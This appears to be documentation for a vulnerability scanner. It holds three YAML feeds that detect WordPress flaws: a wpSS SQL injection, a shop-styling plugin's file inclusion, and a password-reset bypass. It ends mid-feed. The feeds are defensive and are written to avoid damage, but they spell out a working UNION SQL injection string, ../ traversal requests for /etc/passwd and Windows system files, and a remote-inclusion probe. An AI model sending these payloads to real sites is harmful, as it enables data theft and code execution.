The WordPress Spreadsheet (wpSS) plugin 0.62 puts the ss_id parameter of its unauthenticated wp-content/plugins/wpSS/ss_handler.php script unquoted into an SQL query and prints the row it returns, allowing unauthenticated SQL injection.

This check sends an ss_id that is a UNION SELECT of an expression multiplying two random numbers, built to stay valid in both queries the script runs (so the plugin does not create a blank spreadsheet), under the web root and the usual /wordpress, /blog and /wp install paths. The vulnerability is confirmed when the page returns the product computed by the database, which never appears in the request. No table data is read, and nothing is written unless PHP magic_quotes_gpc is on (the plugin may then add one blank spreadsheet, as it does for any unknown ss_id).

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{dir}}/wp-content/plugins/wpSS/ss_handler.php?ss_id={{sc.q}}
  3. Parses / computes the next value with a Rhai script
  4. Checks hit_dir for ^/ → finding QoD 97: WordPress Spreadsheet (wpSS) ss_handler.php ss_id SQL Injection (CVE-2014-8363)

References:

Feed source — tests/vulnerabilities/wordpress/CVE-2014-8363.yaml
# WordPress Spreadsheet (wpSS) 0.62 — ss_handler.php 'ss_id' SQL injection — CVE-2014-8363
#
# wp-content/plugins/wpSS/ss_handler.php (no WordPress authentication) copies
# $_GET['ss_id'] into $id before loading wp-config.php (so WordPress's own
# add-slashes pass never touches it) and calls ss_load($id), which runs it
# through two queries (ss_functions.php):
#     if ($wpdb->query("SELECT * FROM $table_name WHERE id='$id'") == 0) { ss_new($id); }
#     $sql = "SELECT * FROM $table_name WHERE id = $id;";
#     $ss_row = $wpdb->get_row($sql);
#     ... echo $ss_tablehtml;  (and $ss_name / $ss_description in the footer form)
# The second query takes $id unquoted, and the row it returns is printed.
#
# Detection (QoD 97): ss_id is a payload valid in BOTH queries:
#     -1/*' UNION SELECT C,C,C,C#*/ UNION SELECT C,C,C,C#
# with C = CONCAT(0x4e4f43544953, a*b, 0x454e44) and random a, b.
#   - quoted query: the string '-1/*' closes, the first UNION returns one row,
#     # comments the rest out → wpdb->query() is non-zero, so ss_new() does
#     NOT insert a blank spreadsheet row (the plain probe would);
#   - unquoted query: -1, then a /* … */ comment, then the second UNION → the
#     database computes a*b and the plugin prints "NOCTIS<a*b>END".
# The product is never in the request, so only an SQL engine that evaluated our
# expression can return it. The table has 4 columns (id, ss_tablehtml, ss_name,
# ss_description); C fills all four, whatever column the page prints. Nothing is
# written and no table data is read. With PHP magic_quotes_gpc on, the quote is
# escaped: the quoted query then matches nothing (ss_new() may add one blank row,
# as any request for an unknown ss_id does) and the unquoted one still answers.
#
# Better than the source NASL: the NASL only checks the reflected XSS on ss_id
# (CVE-2014-8364, see CVE-2014-8364.yaml) and never tests this SQL injection; this
# feed proves it with a database-computed value and tries the web root, /wordpress,
# /blog and /wp.
#
# Source: OpenVAS/Greenbone NVT 2014/gb_wordpress_spreadsheet_mult_xss_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.804872, GPL-2.0-only) lists this CVE; the SQL request
# shape follows the public advisory (BID 69089, ss_id=-20 UNION ALL SELECT 1,2,3,4#).
uid: 2f29b249-0d87-479a-83ba-71ad4cc2f15e
name: "WordPress Spreadsheet (wpSS) ss_handler.php ss_id SQL Injection (CVE-2014-8363)"
description: |
  The WordPress Spreadsheet (wpSS) plugin 0.62 puts the ss_id parameter of its
  unauthenticated wp-content/plugins/wpSS/ss_handler.php script unquoted into an
  SQL query and prints the row it returns, allowing unauthenticated SQL injection.

  This check sends an ss_id that is a UNION SELECT of an expression multiplying two
  random numbers, built to stay valid in both queries the script runs (so the
  plugin does not create a blank spreadsheet), under the web root and the usual
  /wordpress, /blog and /wp install paths. The vulnerability is confirmed when the
  page returns the product computed by the database, which never appears in the
  request. No table data is read, and nothing is written unless PHP
  magic_quotes_gpc is on (the plugin may then add one blank spreadsheet, as it
  does for any unknown ss_id).
cves: [CVE-2014-8363]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [wordpress, wordpress-plugin, wpss, spreadsheet, sqli, union-based, php]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2014-8363"
  - "http://www.securityfocus.com/bid/69089"
  - "https://www.exploit-db.com/exploits/39279"
  # OpenVAS/Greenbone NASL 2014/gb_wordpress_spreadsheet_mult_xss_vuln.nasl (GPL-2.0-only)

steps:
  # ── Random operands, expected marker and the encoded ss_id ────────────────
  - id: gen-proof
    action: script
    code: |
      let a = rand_int(100000, 999999);
      let b = rand_int(100000, 999999);
      let c = "CONCAT(0x4e4f43544953," + a + "*" + b + ",0x454e44)";
      let cols = c + "," + c + "," + c + "," + c;
      let sel = "UNION%20SELECT%20" + cols;
      #{ want: "NOCTIS" + (a * b) + "END",
         expr: a + "*" + b,
         q: "-1/*%27%20" + sel + "%23*/%20" + sel + "%23" }
    store_as: sc

  - id: init-hit-dir
    action: set_var
    var_name: hit_dir
    var_value: ""

  # ── Per candidate WordPress base path (loop group) ────────────────────────
  - id: init-resp
    action: set_var
    var_name: sq_resp
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["", "/wordpress", "/blog", "/wp"]

  - id: union-probe
    action: http_request
    method: GET
    path: "{{dir}}/wp-content/plugins/wpSS/ss_handler.php?ss_id={{sc.q}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'hit_dir == ""'
    store_as: sq_resp

  - id: check-product
    action: script
    condition: 'hit_dir == ""'
    code: |
      let body = if type_of(sq_resp.body) == "string" { sq_resp.body } else { "" };
      if body.contains(sc.want) { if dir == "" { "/" } else { dir } } else { "" }
    store_as: hit_dir

  # ── Finding ───────────────────────────────────────────────────────────────
  - id: report
    action: match
    source: hit_dir
    pattern: "^/"
    on_match:
      finding:
        title: "WordPress Spreadsheet (wpSS) ss_handler.php ss_id SQL Injection (CVE-2014-8363)"
        description: "An unauthenticated request to wp-content/plugins/wpSS/ss_handler.php with ss_id set to a UNION SELECT of a multiplication of two random numbers returned the product computed by the database: ss_id reaches the SQL query unquoted, so an attacker can read the whole WordPress database (user password hashes included)."
        remediation: "Remove the WordPress Spreadsheet (wpSS) plugin: no fixed release was published. Block direct requests to wp-content/plugins/wpSS/ until it is removed."
        confidence_delta: 0.67
        qod: 97
        evidence: "install dir {{hit_dir}}: wp-content/plugins/wpSS/ss_handler.php?ss_id=-1/*' UNION SELECT CONCAT(0x4e4f43544953,{{sc.expr}},0x454e44),...#*/ UNION SELECT ...# returned the database-computed value {{sc.want}}"
      stop: true

WordPress WP ecommerce Shop Styling generate-pdf.php dompdf File Inclusion

CVECVE-2013-0724
Severityhigh · CVSS 7.5
Categoryrce — Remote code execution
Serviceshttp, https
Detectionset_var, http_request, script, match, wait_oob · highest QoD 97
Feedtests/vulnerabilities/wordpress/CVE-2013-0724.yaml

Tests the WP ecommerce Shop Styling plugin for WordPress (before 1.8) for the unauthenticated file inclusion in includes/generate-pdf.php, whose dompdf parameter is passed straight to require_once(). The feed points dompdf at /etc/passwd through a "../" traversal (or at windows/win.ini and boot.ini on Windows) under the web root and the usual /wordpress, /blog and /wp install paths, and confirms the inclusion when the file content comes back while the same request for an absent file returns none. When out-of-band detection is enabled, it also points dompdf at a per-scan callback URL: a fetch of that URL proves remote file inclusion (PHP allow_url_include on), which lets an attacker run arbitrary PHP code; the callback answers an empty body, so nothing runs on the target. Only world-readable system files are read; root's password field is redacted from the evidence.

How noctis detects it

  1. HTTP(S) request GET {{dir}}/wp-content/plugins/wp-ecommerce-shop-styling/includes/generate-pdf.php
  2. Parses / computes the next value with a Rhai script
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request GET {{dir}}/wp-content/plugins/wp-ecommerce-shop-styling/includes/generate-pdf.php?dompdf…
  5. Checks passwd_r.body for (?m)(?:^|>)root:[^:\r\n<]*:0:[01]:([^:\r\n<]*:[^:\r\n<]*:[^:\r\n<]*)
  6. Parses / computes the next value with a Rhai script
  7. HTTP(S) request GET {{dir}}/wp-content/plugins/wp-ecommerce-shop-styling/includes/generate-pdf.php?dompdf…
  8. Checks winini_r.body for (?i)(; for 16-bit app support|\[fonts\])
  9. HTTP(S) request GET {{dir}}/wp-content/plugins/wp-ecommerce-shop-styling/includes/generate-pdf.php?dompdf…
  10. Checks bootini_r.body for (?i)\[boot loader\]
  11. HTTP(S) request GET {{dir}}/wp-content/plugins/wp-ecommerce-shop-styling/includes/generate-pdf.php?dompdf…
  12. Checks ctrl_r.body for (?mi)((?:^|>)root:[^:\r\n<]*:0:[01]:|; for 16-bit app support|\[fonts…
  13. Parses / computes the next value with a Rhai script
  14. Parses / computes the next value with a Rhai script
  15. … and 7 more steps — see the feed source below

References:

Feed source — tests/vulnerabilities/wordpress/CVE-2013-0724.yaml
# WordPress WP ecommerce Shop Styling < 1.8 — generate-pdf.php dompdf file inclusion — CVE-2013-0724
#
# Plugin 1.7.2 ships wp-content/plugins/wp-ecommerce-shop-styling/includes/generate-pdf.php:
#     require_once($_GET['dompdf']);
#     $path=$_GET["path"];
#     $pdf = new DOMPDF();
#     ...
#     unlink($path);
# The script is reachable directly (no WordPress bootstrap, no authentication) and
# includes whatever the dompdf parameter names: a local file (its text is printed,
# PHP code in it runs) or, with allow_url_include on, a remote URL (remote PHP code
# execution — the CVE). The script then dies on the undefined DOMPDF class before it
# reaches unlink(); the feed never sends the path parameter anyway.
#
# Detection:
#   1. File read (every scan, QoD 75): dompdf = 18 × "../" + etc/passwd, then
#      windows/win.ini, then boot.ini; the file CONTENT must come back
#      (root:...:0:[01]:, "; for 16-bit app support" / "[fonts]", "[boot loader]").
#      A control for an absent random file whose name still contains the probed
#      names must come back without any file signature (blanket responders and
#      substring-keyed honeypots are not reported; fail-closed: no control reply,
#      no finding). root's password field is redacted from the evidence.
#   2. Remote file inclusion (only when OOB is enabled, QoD 97): dompdf = the per-run
#      OOB URL. PHP fetches it only when allow_url_include is on, i.e. when the RFI
#      gives remote code execution; the OOB server answers an empty body, so nothing
#      runs on the target. Sent to the install dir where the plugin answered the
#      file read, else where generate-pdf.php exists (not 404), once per dir.
#
# Better than the source NASL:
#   - the NASL only proves the local read; the feed also proves the remote
#     inclusion itself (the CVE) with a benign OOB fetch when OOB is configured;
#   - absent-file control against blanket/honeypot servers, passwd redaction;
#   - no dependency on a prior WordPress detection: tries the web root,
#     /wordpress, /blog and /wp.
#
# Ported from OpenVAS/Greenbone NVT 2014/gb_wp-ecommerce-shop-styling_rfi_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.804709, GPL-2.0-only).
uid: 015a81fe-e649-4741-8c9e-94e3f46abddd
name: "WordPress WP ecommerce Shop Styling generate-pdf.php dompdf File Inclusion (CVE-2013-0724)"
description: |
  Tests the WP ecommerce Shop Styling plugin for WordPress (before 1.8) for the
  unauthenticated file inclusion in includes/generate-pdf.php, whose dompdf
  parameter is passed straight to require_once(). The feed points dompdf at
  /etc/passwd through a "../" traversal (or at windows/win.ini and boot.ini on
  Windows) under the web root and the usual /wordpress, /blog and /wp install
  paths, and confirms the inclusion when the file content comes back while the
  same request for an absent file returns none. When out-of-band detection is
  enabled, it also points dompdf at a per-scan callback URL: a fetch of that URL
  proves remote file inclusion (PHP allow_url_include on), which lets an attacker
  run arbitrary PHP code; the callback answers an empty body, so nothing runs on
  the target. Only world-readable system files are read; root's password field is
  redacted from the evidence.
cves: [CVE-2013-0724]
cvss: 7.5
severity: high
category: rce
confidence_base: 0.30
tags: [wordpress, wordpress-plugin, wp-ecommerce-shop-styling, rfi, lfi, file-inclusion, file-read, rce, intrusive, oob, php]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2013-0724"
  - "http://www.securityfocus.com/bid/57768"
  - "http://wordpress.org/plugins/wp-ecommerce-shop-styling/changelog/"
  # OpenVAS/Greenbone NASL 2014/gb_wp-ecommerce-shop-styling_rfi_vuln.nasl (GPL-2.0-only)

steps:
  # ── State kept across the install-dir loop ───────────────────────────────
  - id: init-hit-dir
    action: set_var
    var_name: hit_dir
    var_value: ""

  - id: init-hit-file
    action: set_var
    var_name: hit_file
    var_value: ""

  - id: init-hit-proof
    action: set_var
    var_name: hit_proof
    var_value: ""

  - id: init-plugin-dir
    action: set_var
    var_name: plugin_dir
    var_value: ""

  - id: init-plugin-seen
    action: set_var
    var_name: plugin_seen
    var_value: false

  - id: init-oob-dir
    action: set_var
    var_name: oob_dir
    var_value: "-"

  - id: init-oob-sent-dir
    action: set_var
    var_name: oob_sent_dir
    var_value: "-"

  # ── Loop group: every following step (up to wait_oob) runs once per dir ──
  # Each pass resets the values it reads, so nothing is left over.
  - id: init-page-r
    action: set_var
    var_name: page_r
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["", "/wordpress", "/blog", "/wp"]

  - id: init-passwd-r
    action: set_var
    var_name: passwd_r
    var_value: {status: 0, body: ""}

  - id: init-lin-proof
    action: set_var
    var_name: lin_proof
    var_value: ""

  - id: init-win-file
    action: set_var
    var_name: win_file
    var_value: ""

  - id: init-winini-r
    action: set_var
    var_name: winini_r
    var_value: {status: 0, body: ""}

  - id: init-bootini-r
    action: set_var
    var_name: bootini_r
    var_value: {status: 0, body: ""}

  - id: init-ctrl-r
    action: set_var
    var_name: ctrl_r
    var_value: {status: 0, body: ""}

  - id: init-ctrl-hit
    action: set_var
    var_name: ctrl_hit
    var_value: false

  # Does generate-pdf.php exist here? (only used to aim the OOB probe)
  - id: page
    action: http_request
    method: GET
    path: "{{dir}}/wp-content/plugins/wp-ecommerce-shop-styling/includes/generate-pdf.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'plugin_seen == false && hit_dir == ""'
    store_as: page_r

  - id: page-seen
    action: script
    condition: 'plugin_seen == false && hit_dir == ""'
    code: |
      if page_r.status != 0 && page_r.status != 404 { true } else { false }
    store_as: plugin_seen

  - id: page-dir
    action: script
    condition: 'plugin_seen == true && plugin_dir == ""'
    code: "dir"
    store_as: plugin_dir

  # ── Linux: /etc/passwd ───────────────────────────────────────────────────
  - id: read-passwd
    action: http_request
    method: GET
    path: "{{dir}}/wp-content/plugins/wp-ecommerce-shop-styling/includes/generate-pdf.php?dompdf=../../../../../../../../../../../../../../../../../../etc/passwd"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'hit_dir == ""'
    store_as: passwd_r

  # No on_match: the raw body (root's password field) must not become evidence.
  - id: passwd-content
    action: match
    source: passwd_r.body
    pattern: "(?m)(?:^|>)root:[^:\\r\\n<]*:0:[01]:([^:\\r\\n<]*:[^:\\r\\n<]*:[^:\\r\\n<]*)"
    condition: 'hit_dir == ""'
    store_as: passwd_m

  - id: passwd-redact
    action: script
    condition: 'hit_dir == ""'
    code: |
      if passwd_m.matched && passwd_m.captures.len() > 0 {
        "root:<redacted>:0:0:" + passwd_m.captures[0]
      } else { "" }
    store_as: lin_proof

  # ── Windows: windows/win.ini, then boot.ini (older Windows) ──────────────
  - id: read-winini
    action: http_request
    method: GET
    path: "{{dir}}/wp-content/plugins/wp-ecommerce-shop-styling/includes/generate-pdf.php?dompdf=../../../../../../../../../../../../../../../../../../windows/win.ini"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'hit_dir == "" && lin_proof == "" && passwd_r.status != 0'
    store_as: winini_r

  - id: winini-content
    action: match
    source: winini_r.body
    pattern: "(?i)(; for 16-bit app support|\\[fonts\\])"
    condition: 'hit_dir == "" && lin_proof == "" && passwd_r.status != 0'
    on_match:
      set_vars:
        win_file: "windows/win.ini"

  - id: read-bootini
    action: http_request
    method: GET
    path: "{{dir}}/wp-content/plugins/wp-ecommerce-shop-styling/includes/generate-pdf.php?dompdf=../../../../../../../../../../../../../../../../../../boot.ini"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'hit_dir == "" && lin_proof == "" && win_file == "" && passwd_r.status != 0'
    store_as: bootini_r

  - id: bootini-content
    action: match
    source: bootini_r.body
    pattern: "(?i)\\[boot loader\\]"
    condition: 'hit_dir == "" && lin_proof == "" && win_file == "" && passwd_r.status != 0'
    on_match:
      set_vars:
        win_file: "boot.ini"

  # ── Control: same parameter, absent random file — must NOT carry a file ──
  # The absent name still contains etc/passwd, win.ini and boot.ini, so a
  # honeypot that keys a fake file on those substrings answers it too.
  - id: control
    action: http_request
    method: GET
    path: "{{dir}}/wp-content/plugins/wp-ecommerce-shop-styling/includes/generate-pdf.php?dompdf=../../../../../../../../../../../../../../../../../../etc/passwd.win.ini.boot.ini.noctis-absent-{{oob_token}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'hit_dir == "" && (lin_proof != "" || win_file != "")'
    store_as: ctrl_r

  - id: control-content
    action: match
    source: ctrl_r.body
    pattern: "(?mi)((?:^|>)root:[^:\\r\\n<]*:0:[01]:|; for 16-bit app support|\\[fonts\\]|\\[boot loader\\])"
    condition: 'hit_dir == "" && (lin_proof != "" || win_file != "")'
    on_match:
      set_vars:
        ctrl_hit: true

  # Verdict for this dir, kept in the pre-loop vars.
  - id: verdict-file
    action: script
    condition: 'hit_dir == "" && ctrl_r.status != 0 && ctrl_hit == false && (lin_proof != "" || win_file != "")'
    code: |
      if lin_proof != "" { "etc/passwd" } else { win_file }
    store_as: hit_file

  - id: verdict-proof
    action: script
    condition: 'hit_dir == "" && hit_file != ""'
    code: "lin_proof"
    store_as: hit_proof

  - id: verdict-dir
    action: script
    condition: 'hit_dir == "" && hit_file != ""'
    code: 'if dir == "" { "/" } else { dir }'
    store_as: hit_dir

  # ── Remote file inclusion (OOB) ──────────────────────────────────────────
  # Still inside the loop group (it ends at wait_oob): aim at the dir where the
  # read worked, else where generate-pdf.php exists, and send the probe once
  # per distinct target dir (later passes re-aim only if a read hit elsewhere).
  - id: oob-target
    action: script
    condition: 'oob_enabled && (hit_dir != "" || plugin_seen == true)'
    code: |
      if hit_dir == "/" { "" } else if hit_dir != "" { hit_dir } else { plugin_dir }
    store_as: oob_dir

  - id: rfi-oob
    action: http_request
    method: GET
    path: "{{oob_dir}}/wp-content/plugins/wp-ecommerce-shop-styling/includes/generate-pdf.php?dompdf={{oob_url}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'oob_enabled && oob_dir != "-" && oob_dir != oob_sent_dir'
    store_as: rfi_r

  - id: rfi-oob-sent
    action: script
    condition: 'oob_enabled && oob_dir != "-" && oob_dir != oob_sent_dir'
    code: "oob_dir"
    store_as: oob_sent_dir

  - id: wait-callback
    action: wait_oob
    oob_timeout_secs: 15
    condition: 'oob_enabled && oob_sent_dir != "-"'
    store_as: oob_result
    on_success:
      finding:
        title: "WordPress WP ecommerce Shop Styling generate-pdf.php Remote File Inclusion (CVE-2013-0724)"
        description: "An unauthenticated request to generate-pdf.php with dompdf set to a per-scan callback URL made the server fetch that URL for require_once(): the plugin includes remote files, so an attacker can run arbitrary PHP code on the server."
        remediation: "Update the WP ecommerce Shop Styling plugin to 1.8 or later (or remove it), and keep PHP allow_url_include disabled."
        confidence_delta: 0.67
        qod: 97
        evidence: "{{oob_dir}}/wp-content/plugins/wp-ecommerce-shop-styling/includes/generate-pdf.php?dompdf=<per-scan OOB URL> made the target fetch the OOB URL (HTTP callback received; the callback body was empty, nothing ran)"
      stop: true

  # ── File read findings (control answered and stayed clean) ───────────────
  - id: report-passwd
    action: match
    source: hit_proof
    pattern: "^root:<redacted>:0:0:"
    condition: 'hit_file == "etc/passwd"'
    on_match:
      finding:
        title: "WordPress WP ecommerce Shop Styling generate-pdf.php dompdf File Inclusion (CVE-2013-0724)"
        description: "An unauthenticated request to generate-pdf.php with dompdf pointing at /etc/passwd through a ../ traversal returned the content of /etc/passwd, which the script included with require_once(), while the same request for an absent file did not. The same parameter includes remote URLs when PHP allow_url_include is on (remote code execution)."
        remediation: "Update the WP ecommerce Shop Styling plugin to 1.8 or later (or remove it), and keep PHP allow_url_include disabled."
        confidence_delta: 0.55
        qod: 75
        evidence: "install dir {{hit_dir}}: wp-content/plugins/wp-ecommerce-shop-styling/includes/generate-pdf.php?dompdf=../(x18)etc/passwd returned /etc/passwd; control for an absent file returned no file content ({{hit_proof}})"
      stop: true

  - id: report-windows
    action: match
    source: hit_file
    pattern: "^(windows/win\\.ini|boot\\.ini)$"
    on_match:
      finding:
        title: "WordPress WP ecommerce Shop Styling generate-pdf.php dompdf File Inclusion (CVE-2013-0724)"
        description: "An unauthenticated request to generate-pdf.php with dompdf pointing at a Windows system file through a ../ traversal returned that file's content, which the script included with require_once(), while the same request for an absent file did not. The same parameter includes remote URLs when PHP allow_url_include is on (remote code execution)."
        remediation: "Update the WP ecommerce Shop Styling plugin to 1.8 or later (or remove it), and keep PHP allow_url_include disabled."
        confidence_delta: 0.55
        qod: 75
        evidence: "install dir {{hit_dir}}: wp-content/plugins/wp-ecommerce-shop-styling/includes/generate-pdf.php?dompdf=../(x18){{hit_file}} returned the content of {{hit_file}}; control for an absent file returned no file content"
      stop: true

WordPress wp-login.php key[] password reset bypass

CVECVE-2009-2762
Severityhigh · CVSS 7.5
Categoryauth-bypass — Auth bypass
Serviceshttp, https
Detectionset_var, http_request, script, match · highest QoD 70
Feedtests/vulnerabilities/wordpress/CVE-2009-2762.yaml

WordPress 2.5.1 to 2.8.3 accepts an array as the key parameter of the wp-login.php password reset action (action=rp, key[]=). The empty-key check is bypassed and the reset matches the first user who has no pending reset request, usually the administrator: an unauthenticated attacker can reset that account's password at will and lock its owner out.

Confirming the flaw would reset the administrator's password, so this check does not send that request. On the web root and the usual install paths (/wordpress, /blog, /wp) it reads the WordPress version from the generator meta tag of the home page, the generator tag of the RSS feed or readme.html, and checks that wp-login.php serves its lost-password form. It reports a site running a version from 2.5.1 to 2.8.3, with a lower confidence than an exploit proof.

How noctis detects it

  1. HTTP(S) request GET {{dir}}/wp-login.php?action=lostpassword
  2. Parses / computes the next value with a Rhai script
  3. HTTP(S) request GET {{dir}}/
  4. Parses / computes the next value with a Rhai script
  5. HTTP(S) request GET {{dir}}/?feed=rss2
  6. Parses / computes the next value with a Rhai script
  7. HTTP(S) request GET {{dir}}/readme.html
  8. Parses / computes the next value with a Rhai script
  9. Parses / computes the next value with a Rhai script
  10. Checks hit for WordPress → finding QoD 70: WordPress wp-login.php key[] password reset bypass (CVE-2009-2762)

References:

Feed source — tests/vulnerabilities/wordpress/CVE-2009-2762.yaml
# WordPress wp-login.php resetpass key[] password reset bypass — CVE-2009-2762
#
# wp-login.php?action=rp (resetpass) calls reset_password($_GET['key']):
#     $key = preg_replace('/[^a-z0-9]/i', '', $key);
#     if ( empty( $key ) ) return new WP_Error('invalid_key', ...);
#     $user = $wpdb->get_row($wpdb->prepare("SELECT * FROM $wpdb->users
#                            WHERE user_activation_key = %s", $key));
# With key[]= the parameter is array(''): preg_replace() returns the array, which
# is not empty(), and $wpdb->prepare() takes an array argument as its whole
# argument list (vsprintf style), so the query becomes user_activation_key = ''.
# That matches the first user who never asked for a reset — usually the
# administrator — whose password is replaced by a random one and mailed to them.
# That array unwrapping in prepare() exists from 2.8 on. In 2.5.1 – 2.7.x,
# prepare() hands array('') to addslashes(), which returns NULL on PHP >= 5.3
# (vsprintf turns it into '', same result) but "Array" on PHP 5.2 and earlier
# (matches nobody): those releases are exploitable only on PHP >= 5.3. The
# PHP version is not visible to this check, so they are reported too.
# Fixed in 2.8.4 (`|| !is_string($key)` plus a required `login` parameter).
# Source read: WordPress 2.5.1 – 2.8.3 wp-login.php / wp-includes/wp-db.php
# (github.com/WordPress/WordPress tags). 2.5 and earlier put "$key" straight in
# the SQL string, so an array becomes 'Array' and matches nobody: not affected.
#
# Why version only (QoD 70): the only reply that tells a vulnerable site from a
# fixed one ("checkemail=newpass") comes after the administrator's password has
# been reset — the probe IS the attack and locks the admin out. Every request that
# matches no user (random key[] value, key without login…) gets the same
# "invalidkey" redirect on vulnerable and fixed releases. So the check never
# sends the key[] request; it reads the WordPress version and confirms the
# password-reset form of wp-login.php is reachable. readme.html is the last
# source because it is not always bumped on point releases (2.5.1 says "2.5",
# 2.6.2 – 2.6.5 say "2.6.1", 2.7.1 says "2.7"): a readme-only 2.5.1 is missed.
#
# Differences from the source NASL (which sends the destructive key[] request
# and reports "checkemail=newpass"):
#   - non-destructive: no password is ever reset on the target (the NASL's
#     positive result means it just reset the first user's password);
#   - also tries /wordpress, /blog and /wp;
#   - reports 2.5.1 – 2.8.3 only (releases where the source shows the bug).
#
# Source: OpenVAS/Greenbone NVT 2009/gb_wordpress_sec_bypass_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.900913, GPL-2.0-only).
uid: b183d988-4c2c-4ce4-a1d0-f855f72ff2ee
name: "WordPress wp-login.php key[] password reset bypass (CVE-2009-2762)"
description: |
  WordPress 2.5.1 to 2.8.3 accepts an array as the key parameter of the
  wp-login.php password reset action (action=rp, key[]=). The empty-key check is
  bypassed and the reset matches the first user who has no pending reset request,
  usually the administrator: an unauthenticated attacker can reset that account's
  password at will and lock its owner out.

  Confirming the flaw would reset the administrator's password, so this check does
  not send that request. On the web root and the usual install paths (/wordpress,
  /blog, /wp) it reads the WordPress version from the generator meta tag of the
  home page, the generator tag of the RSS feed or readme.html, and checks that
  wp-login.php serves its lost-password form. It reports a site running a
  version from 2.5.1 to 2.8.3, with a lower confidence than an exploit proof.
cves: [CVE-2009-2762]
cvss: 7.5
severity: high
category: auth-bypass
confidence_base: 0.30
tags: [wordpress, wp-login, password-reset, auth-bypass, version-check, php]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2009-2762"
  - "https://wordpress.org/news/2009/08/2-8-4-security-release/"
  - "https://github.com/WordPress/WordPress/compare/2.8.3...2.8.4"

steps:
  - id: init-hit
    action: set_var
    var_name: hit
    var_value: ""

  # ── Per candidate install path (loop group) ───────────────────────────────
  - id: init-home
    action: set_var
    var_name: home
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["", "/wordpress", "/blog", "/wp"]

  - id: init-feed
    action: set_var
    var_name: feed
    var_value: {status: 0, body: ""}

  - id: init-readme
    action: set_var
    var_name: readme
    var_value: {status: 0, body: ""}

  - id: init-login
    action: set_var
    var_name: login
    var_value: {status: 0, body: ""}

  - id: init-ver
    action: set_var
    var_name: wpver
    var_value: ""

  - id: fetch-login
    action: http_request
    method: GET
    path: "{{dir}}/wp-login.php?action=lostpassword"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    condition: 'hit == ""'
    store_as: login

  # The password-reset form of wp-login.php must be served on this path.
  - id: gate
    action: script
    condition: 'hit == ""'
    code: |
      let b = if type_of(login.body) == "string" { login.body } else { "" };
      login.status == 200 && b.contains("lostpasswordform") && b.contains("user_login")
    store_as: is_wp

  - id: fetch-home
    action: http_request
    method: GET
    path: "{{dir}}/"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    condition: 'hit == "" && is_wp == true'
    store_as: home

  - id: ver-home
    action: script
    condition: 'hit == "" && is_wp == true'
    code: |
      let b = if type_of(home.body) == "string" { home.body } else { "" };
      let m = eregmatch("(?i)<meta[^>]*name=[\"']generator[\"'][^>]*content=[\"']WordPress ([0-9]+\\.[0-9]+(?:\\.[0-9]+)?)", b);
      if type_of(m) == "array" && m.len() > 1 { m[1] + " (home page generator tag)" } else { "" }
    store_as: wpver

  - id: fetch-feed
    action: http_request
    method: GET
    path: "{{dir}}/?feed=rss2"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    condition: 'hit == "" && is_wp == true && wpver == ""'
    store_as: feed

  - id: ver-feed
    action: script
    condition: 'hit == "" && is_wp == true && wpver == ""'
    code: |
      let b = if type_of(feed.body) == "string" { feed.body } else { "" };
      let m = eregmatch("<generator>https?://wordpress\\.org/\\?v=([0-9]+\\.[0-9]+(?:\\.[0-9]+)?)", b);
      if type_of(m) == "array" && m.len() > 1 { m[1] + " (RSS feed generator tag)" } else { "" }
    store_as: wpver

  - id: fetch-readme
    action: http_request
    method: GET
    path: "{{dir}}/readme.html"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    condition: 'hit == "" && is_wp == true && wpver == ""'
    store_as: readme

  - id: ver-readme
    action: script
    condition: 'hit == "" && is_wp == true && wpver == ""'
    code: |
      let b = if type_of(readme.body) == "string" { readme.body } else { "" };
      let m = eregmatch("(?is)<title>WordPress[^<]*ReadMe</title>.*?<h1[^>]*>.*?Version ([0-9]+\\.[0-9]+(?:\\.[0-9]+)?)", b);
      if readme.status == 200 && type_of(m) == "array" && m.len() > 1 { m[1] + " (readme.html)" } else { "" }
    store_as: wpver

  # 2.5.1 <= version <= 2.8.3 (a suffix such as "2.8.4a" keeps its numeric part).
  - id: check-version
    action: script
    condition: 'hit == "" && is_wp == true && wpver != ""'
    code: |
      let m = eregmatch("^([0-9]+)\\.([0-9]+)(?:\\.([0-9]+))?", wpver);
      let a = int(m[1]);
      let b = int(m[2]);
      let c = if type_of(m[3]) == "string" && m[3] != "" { int(m[3]) } else { 0 };
      let n = a * 10000 + b * 100 + c;
      if n >= 20501 && n <= 20803 {
        (if dir == "" { "/" } else { dir }) + " runs WordPress " + wpver
      } else { "" }
    store_as: hit

  # ── Finding ───────────────────────────────────────────────────────────────
  - id: report
    action: match
    source: hit
    pattern: "WordPress"
    on_match:
      finding:
        title: "WordPress wp-login.php key[] password reset bypass (CVE-2009-2762)"
